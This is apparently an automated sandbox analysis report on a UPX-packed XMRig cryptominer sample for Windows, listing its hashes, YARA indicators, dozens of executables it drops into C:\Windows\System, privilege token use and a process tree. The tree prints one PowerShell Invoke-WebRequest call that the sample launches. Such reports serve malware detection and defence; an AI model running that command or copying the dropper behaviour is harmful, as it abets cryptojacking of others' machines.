xmrig | ade4852ac2f7e0dd2f12ae210580d348f96f093ef95e08024656e644e64d00b1

Analysis

max time kernel
120s
max time network
119s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2024 11:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

03b64265ad3d38dd47de5b5f1ab9ef00N.exe
Size

1.8MB
MD5

03b64265ad3d38dd47de5b5f1ab9ef00
SHA1

6ece1ad1d44cd8234dceba9249984a43674633e9
SHA256

ade4852ac2f7e0dd2f12ae210580d348f96f093ef95e08024656e644e64d00b1
SHA512

2d79bc21d4f7dd32270fca4ad4abb4850225a29393092ee9af1f6b2d49e50d32b705f19de1acc1800b7495394eb1d45cebdfe0beabca9de0b8b6fccfd6fac945
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VklYxA:NABR

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 44 IoCs

miner

resource	yara_rule
behavioral2/memory/3396-203-0x00007FF76E990000-0x00007FF76ED82000-memory.dmp	xmrig
behavioral2/memory/4292-211-0x00007FF6860E0000-0x00007FF6864D2000-memory.dmp	xmrig
behavioral2/memory/3128-221-0x00007FF7DBC20000-0x00007FF7DC012000-memory.dmp	xmrig
behavioral2/memory/1192-220-0x00007FF693990000-0x00007FF693D82000-memory.dmp	xmrig
behavioral2/memory/4412-219-0x00007FF7259C0000-0x00007FF725DB2000-memory.dmp	xmrig
behavioral2/memory/4128-218-0x00007FF78B740000-0x00007FF78BB32000-memory.dmp	xmrig
behavioral2/memory/468-216-0x00007FF7D5A20000-0x00007FF7D5E12000-memory.dmp	xmrig
behavioral2/memory/1208-215-0x00007FF714FD0000-0x00007FF7153C2000-memory.dmp	xmrig
behavioral2/memory/2704-214-0x00007FF65A220000-0x00007FF65A612000-memory.dmp	xmrig
behavioral2/memory/1884-212-0x00007FF7ECD60000-0x00007FF7ED152000-memory.dmp	xmrig
behavioral2/memory/1748-210-0x00007FF748140000-0x00007FF748532000-memory.dmp	xmrig
behavioral2/memory/2728-209-0x00007FF76C390000-0x00007FF76C782000-memory.dmp	xmrig
behavioral2/memory/3780-208-0x00007FF72CCF0000-0x00007FF72D0E2000-memory.dmp	xmrig
behavioral2/memory/3032-207-0x00007FF7D2AA0000-0x00007FF7D2E92000-memory.dmp	xmrig
behavioral2/memory/2648-206-0x00007FF6ECB40000-0x00007FF6ECF32000-memory.dmp	xmrig
behavioral2/memory/3568-202-0x00007FF7A18D0000-0x00007FF7A1CC2000-memory.dmp	xmrig
behavioral2/memory/2252-159-0x00007FF62D2B0000-0x00007FF62D6A2000-memory.dmp	xmrig
behavioral2/memory/3320-136-0x00007FF746A80000-0x00007FF746E72000-memory.dmp	xmrig
behavioral2/memory/3548-134-0x00007FF688BB0000-0x00007FF688FA2000-memory.dmp	xmrig
behavioral2/memory/3556-4807-0x00007FF7B7050000-0x00007FF7B7442000-memory.dmp	xmrig
behavioral2/memory/4048-4813-0x00007FF720EC0000-0x00007FF7212B2000-memory.dmp	xmrig
behavioral2/memory/2424-4850-0x00007FF6C8450000-0x00007FF6C8842000-memory.dmp	xmrig
behavioral2/memory/3556-4948-0x00007FF7B7050000-0x00007FF7B7442000-memory.dmp	xmrig
behavioral2/memory/4128-4960-0x00007FF78B740000-0x00007FF78BB32000-memory.dmp	xmrig
behavioral2/memory/2252-4968-0x00007FF62D2B0000-0x00007FF62D6A2000-memory.dmp	xmrig
behavioral2/memory/3320-4972-0x00007FF746A80000-0x00007FF746E72000-memory.dmp	xmrig
behavioral2/memory/3548-4981-0x00007FF688BB0000-0x00007FF688FA2000-memory.dmp	xmrig
behavioral2/memory/3032-4997-0x00007FF7D2AA0000-0x00007FF7D2E92000-memory.dmp	xmrig
behavioral2/memory/1192-4998-0x00007FF693990000-0x00007FF693D82000-memory.dmp	xmrig
behavioral2/memory/4412-4995-0x00007FF7259C0000-0x00007FF725DB2000-memory.dmp	xmrig
behavioral2/memory/3568-4993-0x00007FF7A18D0000-0x00007FF7A1CC2000-memory.dmp	xmrig
behavioral2/memory/3780-4990-0x00007FF72CCF0000-0x00007FF72D0E2000-memory.dmp	xmrig
behavioral2/memory/3396-4985-0x00007FF76E990000-0x00007FF76ED82000-memory.dmp	xmrig
behavioral2/memory/4048-4984-0x00007FF720EC0000-0x00007FF7212B2000-memory.dmp	xmrig
behavioral2/memory/2648-4974-0x00007FF6ECB40000-0x00007FF6ECF32000-memory.dmp	xmrig
behavioral2/memory/1748-5009-0x00007FF748140000-0x00007FF748532000-memory.dmp	xmrig
behavioral2/memory/4292-5016-0x00007FF6860E0000-0x00007FF6864D2000-memory.dmp	xmrig
behavioral2/memory/2704-5024-0x00007FF65A220000-0x00007FF65A612000-memory.dmp	xmrig
behavioral2/memory/3128-5018-0x00007FF7DBC20000-0x00007FF7DC012000-memory.dmp	xmrig
behavioral2/memory/468-5012-0x00007FF7D5A20000-0x00007FF7D5E12000-memory.dmp	xmrig
behavioral2/memory/1884-5004-0x00007FF7ECD60000-0x00007FF7ED152000-memory.dmp	xmrig
behavioral2/memory/2728-5001-0x00007FF76C390000-0x00007FF76C782000-memory.dmp	xmrig
behavioral2/memory/1208-5008-0x00007FF714FD0000-0x00007FF7153C2000-memory.dmp	xmrig
behavioral2/memory/1068-5122-0x00007FF615980000-0x00007FF615D72000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2044	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
860	oqgkfCH.exe
3556	AfyScLL.exe
4128	yjUcGlL.exe
4048	JuGKRxv.exe
2424	fjzUAMJ.exe
3548	IGzXlmR.exe
3320	tSNaxhk.exe
2252	yxrmrUG.exe
4412	BRRRUaz.exe
3568	scnDgmw.exe
3396	WGJRzWS.exe
2648	cqUKaRt.exe
1192	bRXuSoh.exe
3032	BONynuT.exe
3780	cqFWVlc.exe
2728	OPOtrLj.exe
1748	MQViREu.exe
4292	KLfNynv.exe
3128	iVEiSja.exe
1884	XEEvzGq.exe
1068	OiLBics.exe
2704	OUmspwo.exe
1208	ignLETF.exe
468	MJtCsva.exe
4944	zAWPEsa.exe
4316	bxXyLrA.exe
4776	UvaBPry.exe
1212	mubVZqJ.exe
4320	yFegmGM.exe
4120	TheeGIC.exe
3080	sSMeqqm.exe
4324	QqAzTys.exe
2592	BURPWwF.exe
3408	SaErcfS.exe
3452	dwUgalJ.exe
2296	RfORKHX.exe
4360	dQKbGHP.exe
2432	xtvKvxa.exe
2364	bvdqVfL.exe
3096	AQWwQSF.exe
2504	XpJJTbb.exe
5088	JaSXGRe.exe
3280	dYOkLJE.exe
4196	RZXlmhG.exe
4032	mAxQxan.exe
2896	oJmAVcE.exe
1040	TTZqsac.exe
2956	zujkYNb.exe
1872	vlYTsSv.exe
2780	wCRgLBE.exe
2476	iJfcMJK.exe
3660	aTDmzYs.exe
2012	QvjkGnN.exe
3104	JOuoeUi.exe
2452	AJuCknv.exe
4740	bzmiaHd.exe
3988	tzmvUSc.exe
4968	JODVGwD.exe
1860	AtkeLdM.exe
848	PeStvED.exe
4020	NVyLedN.exe
4428	BkWlArj.exe
1628	vMsDKIs.exe
3332	OMEyCed.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3640-0-0x00007FF60F640000-0x00007FF60FA32000-memory.dmp	upx
behavioral2/files/0x000900000002341d-5.dat	upx
behavioral2/files/0x000800000002346e-10.dat	upx
behavioral2/files/0x0007000000023474-46.dat	upx
behavioral2/files/0x0007000000023476-61.dat	upx
behavioral2/files/0x000700000002347f-72.dat	upx
behavioral2/files/0x0007000000023480-117.dat	upx
behavioral2/files/0x000700000002348f-142.dat	upx
behavioral2/files/0x000700000002348c-170.dat	upx
behavioral2/memory/3396-203-0x00007FF76E990000-0x00007FF76ED82000-memory.dmp	upx
behavioral2/memory/4292-211-0x00007FF6860E0000-0x00007FF6864D2000-memory.dmp	upx
behavioral2/memory/3128-221-0x00007FF7DBC20000-0x00007FF7DC012000-memory.dmp	upx
behavioral2/memory/1192-220-0x00007FF693990000-0x00007FF693D82000-memory.dmp	upx
behavioral2/memory/4412-219-0x00007FF7259C0000-0x00007FF725DB2000-memory.dmp	upx
behavioral2/memory/4128-218-0x00007FF78B740000-0x00007FF78BB32000-memory.dmp	upx
behavioral2/memory/468-216-0x00007FF7D5A20000-0x00007FF7D5E12000-memory.dmp	upx
behavioral2/memory/1208-215-0x00007FF714FD0000-0x00007FF7153C2000-memory.dmp	upx
behavioral2/memory/2704-214-0x00007FF65A220000-0x00007FF65A612000-memory.dmp	upx
behavioral2/memory/1068-213-0x00007FF615980000-0x00007FF615D72000-memory.dmp	upx
behavioral2/memory/1884-212-0x00007FF7ECD60000-0x00007FF7ED152000-memory.dmp	upx
behavioral2/memory/1748-210-0x00007FF748140000-0x00007FF748532000-memory.dmp	upx
behavioral2/memory/2728-209-0x00007FF76C390000-0x00007FF76C782000-memory.dmp	upx
behavioral2/memory/3780-208-0x00007FF72CCF0000-0x00007FF72D0E2000-memory.dmp	upx
behavioral2/memory/3032-207-0x00007FF7D2AA0000-0x00007FF7D2E92000-memory.dmp	upx
behavioral2/memory/2648-206-0x00007FF6ECB40000-0x00007FF6ECF32000-memory.dmp	upx
behavioral2/memory/3568-202-0x00007FF7A18D0000-0x00007FF7A1CC2000-memory.dmp	upx
behavioral2/files/0x000700000002348a-201.dat	upx
behavioral2/files/0x0007000000023489-200.dat	upx
behavioral2/files/0x0007000000023491-199.dat	upx
behavioral2/files/0x0007000000023490-198.dat	upx
behavioral2/files/0x0007000000023485-176.dat	upx
behavioral2/files/0x0007000000023484-175.dat	upx
behavioral2/files/0x0007000000023482-164.dat	upx
behavioral2/memory/2252-159-0x00007FF62D2B0000-0x00007FF62D6A2000-memory.dmp	upx
behavioral2/files/0x0007000000023481-151.dat	upx
behavioral2/files/0x0007000000023487-146.dat	upx
behavioral2/files/0x000700000002348e-144.dat	upx
behavioral2/files/0x000700000002348d-140.dat	upx
behavioral2/files/0x0007000000023483-137.dat	upx
behavioral2/memory/3320-136-0x00007FF746A80000-0x00007FF746E72000-memory.dmp	upx
behavioral2/memory/3548-134-0x00007FF688BB0000-0x00007FF688FA2000-memory.dmp	upx
behavioral2/files/0x000700000002348b-133.dat	upx
behavioral2/files/0x000700000002347a-128.dat	upx
behavioral2/files/0x000700000002347d-126.dat	upx
behavioral2/files/0x0007000000023488-124.dat	upx
behavioral2/files/0x0007000000023478-123.dat	upx
behavioral2/files/0x0007000000023486-118.dat	upx
behavioral2/memory/2424-96-0x00007FF6C8450000-0x00007FF6C8842000-memory.dmp	upx
behavioral2/files/0x0007000000023479-93.dat	upx
behavioral2/files/0x000700000002347b-95.dat	upx
behavioral2/files/0x0007000000023472-85.dat	upx
behavioral2/files/0x000700000002347e-73.dat	upx
behavioral2/files/0x000700000002347c-58.dat	upx
behavioral2/memory/4048-56-0x00007FF720EC0000-0x00007FF7212B2000-memory.dmp	upx
behavioral2/files/0x0007000000023475-62.dat	upx
behavioral2/files/0x0007000000023473-43.dat	upx
behavioral2/memory/3556-37-0x00007FF7B7050000-0x00007FF7B7442000-memory.dmp	upx
behavioral2/files/0x0007000000023477-33.dat	upx
behavioral2/memory/860-16-0x00007FF6837D0000-0x00007FF683BC2000-memory.dmp	upx
behavioral2/memory/3556-4807-0x00007FF7B7050000-0x00007FF7B7442000-memory.dmp	upx
behavioral2/memory/4048-4813-0x00007FF720EC0000-0x00007FF7212B2000-memory.dmp	upx
behavioral2/memory/2424-4850-0x00007FF6C8450000-0x00007FF6C8842000-memory.dmp	upx
behavioral2/memory/3556-4948-0x00007FF7B7050000-0x00007FF7B7442000-memory.dmp	upx
behavioral2/memory/4128-4960-0x00007FF78B740000-0x00007FF78BB32000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\HmBlroj.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\YyYJdGU.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\buWvdEb.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\VpgNfUm.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\qQSBYEM.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ZlZahSY.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\bVXWrDU.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\kbKbQby.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\gBNWMgS.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\VwvviWZ.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\OUmspwo.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ObRZDJN.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ncmudRo.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\DbyZeTG.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\uZXbyvK.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\Mmkgwmn.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\vLEaoYn.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\XPsMjPX.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ikDkYIq.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\VLPyGgz.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\VeSFnlD.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\EiVcZzt.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\tDnMppJ.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\hjfEFad.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\yhtLuwl.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\wDrRtYm.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\RTJWYnV.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\oWeGAoh.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\XxpiDWZ.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\iUKfNfa.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\cSHbiJv.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\IRpHPXH.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\fqkPqGm.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\FkWbCbk.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\IBpBinv.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\KsCbKGv.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\EBuHDwz.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\TDaYPED.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\bYZrOLg.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\zmBXsjS.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\NMBuOqg.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\HGJsgQq.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\pWcEcGL.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\HKltuWv.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ngtNILL.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\EMedcTq.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\oaGuXTM.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\kELOvox.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\Iloilbw.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\jjAqRiP.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\IWUrMZR.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\URPlLHT.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\iuSYKeH.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\AvGwZTN.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\Traocgj.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\MlhTxKK.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ccsREmc.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\uQSDwjL.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\SedqZOI.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\sYCnpOE.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\ARzeCQD.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\GTNFJzo.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\gqpwlOe.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
File created	C:\Windows\System\PbIXbsF.exe	03b64265ad3d38dd47de5b5f1ab9ef00N.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeLockMemoryPrivilege	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 2044	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	85
PID 3640 wrote to memory of 2044	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	85
PID 3640 wrote to memory of 860	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	86
PID 3640 wrote to memory of 860	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	86
PID 3640 wrote to memory of 3556	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	87
PID 3640 wrote to memory of 3556	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	87
PID 3640 wrote to memory of 3548	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	88
PID 3640 wrote to memory of 3548	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	88
PID 3640 wrote to memory of 4128	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	89
PID 3640 wrote to memory of 4128	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	89
PID 3640 wrote to memory of 4048	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	90
PID 3640 wrote to memory of 4048	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	90
PID 3640 wrote to memory of 2424	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	91
PID 3640 wrote to memory of 2424	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	91
PID 3640 wrote to memory of 3320	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	92
PID 3640 wrote to memory of 3320	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	92
PID 3640 wrote to memory of 2252	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	93
PID 3640 wrote to memory of 2252	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	93
PID 3640 wrote to memory of 4412	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	94
PID 3640 wrote to memory of 4412	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	94
PID 3640 wrote to memory of 3568	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	95
PID 3640 wrote to memory of 3568	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	95
PID 3640 wrote to memory of 3032	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	96
PID 3640 wrote to memory of 3032	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	96
PID 3640 wrote to memory of 3396	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	97
PID 3640 wrote to memory of 3396	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	97
PID 3640 wrote to memory of 2648	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	98
PID 3640 wrote to memory of 2648	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	98
PID 3640 wrote to memory of 1192	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	99
PID 3640 wrote to memory of 1192	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	99
PID 3640 wrote to memory of 3780	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	100
PID 3640 wrote to memory of 3780	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	100
PID 3640 wrote to memory of 2728	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	101
PID 3640 wrote to memory of 2728	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	101
PID 3640 wrote to memory of 1748	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	102
PID 3640 wrote to memory of 1748	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	102
PID 3640 wrote to memory of 4292	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	103
PID 3640 wrote to memory of 4292	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	103
PID 3640 wrote to memory of 3128	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	104
PID 3640 wrote to memory of 3128	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	104
PID 3640 wrote to memory of 1884	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	105
PID 3640 wrote to memory of 1884	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	105
PID 3640 wrote to memory of 1068	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	106
PID 3640 wrote to memory of 1068	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	106
PID 3640 wrote to memory of 2704	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	107
PID 3640 wrote to memory of 2704	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	107
PID 3640 wrote to memory of 1208	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	108
PID 3640 wrote to memory of 1208	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	108
PID 3640 wrote to memory of 468	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	109
PID 3640 wrote to memory of 468	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	109
PID 3640 wrote to memory of 4944	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	110
PID 3640 wrote to memory of 4944	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	110
PID 3640 wrote to memory of 4316	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	111
PID 3640 wrote to memory of 4316	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	111
PID 3640 wrote to memory of 4776	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	112
PID 3640 wrote to memory of 4776	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	112
PID 3640 wrote to memory of 1212	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	113
PID 3640 wrote to memory of 1212	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	113
PID 3640 wrote to memory of 4324	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	114
PID 3640 wrote to memory of 4324	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	114
PID 3640 wrote to memory of 4320	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	115
PID 3640 wrote to memory of 4320	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	115
PID 3640 wrote to memory of 4120	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	116
PID 3640 wrote to memory of 4120	3640	03b64265ad3d38dd47de5b5f1ab9ef00N.exe	116

C:\Users\Admin\AppData\Local\Temp\03b64265ad3d38dd47de5b5f1ab9ef00N.exe
"C:\Users\Admin\AppData\Local\Temp\03b64265ad3d38dd47de5b5f1ab9ef00N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\System\oqgkfCH.exe
  C:\Windows\System\oqgkfCH.exe
  2⤵
  - Executes dropped EXE
  PID:860
- C:\Windows\System\AfyScLL.exe
  C:\Windows\System\AfyScLL.exe
  2⤵
  - Executes dropped EXE
  PID:3556
- C:\Windows\System\IGzXlmR.exe
  C:\Windows\System\IGzXlmR.exe
  2⤵
  - Executes dropped EXE
  PID:3548
- C:\Windows\System\yjUcGlL.exe
  C:\Windows\System\yjUcGlL.exe
  2⤵
  - Executes dropped EXE
  PID:4128
- C:\Windows\System\JuGKRxv.exe
  C:\Windows\System\JuGKRxv.exe
  2⤵
  - Executes dropped EXE
  PID:4048
- C:\Windows\System\fjzUAMJ.exe
  C:\Windows\System\fjzUAMJ.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\tSNaxhk.exe
  C:\Windows\System\tSNaxhk.exe
  2⤵
  - Executes dropped EXE
  PID:3320
- C:\Windows\System\yxrmrUG.exe
  C:\Windows\System\yxrmrUG.exe
  2⤵
  - Executes dropped EXE
  PID:2252
- C:\Windows\System\BRRRUaz.exe
  C:\Windows\System\BRRRUaz.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\scnDgmw.exe
  C:\Windows\System\scnDgmw.exe
  2⤵
  - Executes dropped EXE
  PID:3568
- C:\Windows\System\BONynuT.exe
  C:\Windows\System\BONynuT.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\WGJRzWS.exe
  C:\Windows\System\WGJRzWS.exe
  2⤵
  - Executes dropped EXE
  PID:3396
- C:\Windows\System\cqUKaRt.exe
  C:\Windows\System\cqUKaRt.exe
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Windows\System\bRXuSoh.exe
  C:\Windows\System\bRXuSoh.exe
  2⤵
  - Executes dropped EXE
  PID:1192
- C:\Windows\System\cqFWVlc.exe
  C:\Windows\System\cqFWVlc.exe
  2⤵
  - Executes dropped EXE
  PID:3780
- C:\Windows\System\OPOtrLj.exe
  C:\Windows\System\OPOtrLj.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\MQViREu.exe
  C:\Windows\System\MQViREu.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\KLfNynv.exe
  C:\Windows\System\KLfNynv.exe
  2⤵
  - Executes dropped EXE
  PID:4292
- C:\Windows\System\iVEiSja.exe
  C:\Windows\System\iVEiSja.exe
  2⤵
  - Executes dropped EXE
  PID:3128
- C:\Windows\System\XEEvzGq.exe
  C:\Windows\System\XEEvzGq.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\OiLBics.exe
  C:\Windows\System\OiLBics.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\OUmspwo.exe
  C:\Windows\System\OUmspwo.exe
  2⤵
  - Executes dropped EXE
  PID:2704
- C:\Windows\System\ignLETF.exe
  C:\Windows\System\ignLETF.exe
  2⤵
  - Executes dropped EXE
  PID:1208
- C:\Windows\System\MJtCsva.exe
  C:\Windows\System\MJtCsva.exe
  2⤵
  - Executes dropped EXE
  PID:468
- C:\Windows\System\zAWPEsa.exe
  C:\Windows\System\zAWPEsa.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\bxXyLrA.exe
  C:\Windows\System\bxXyLrA.exe
  2⤵
  - Executes dropped EXE
  PID:4316
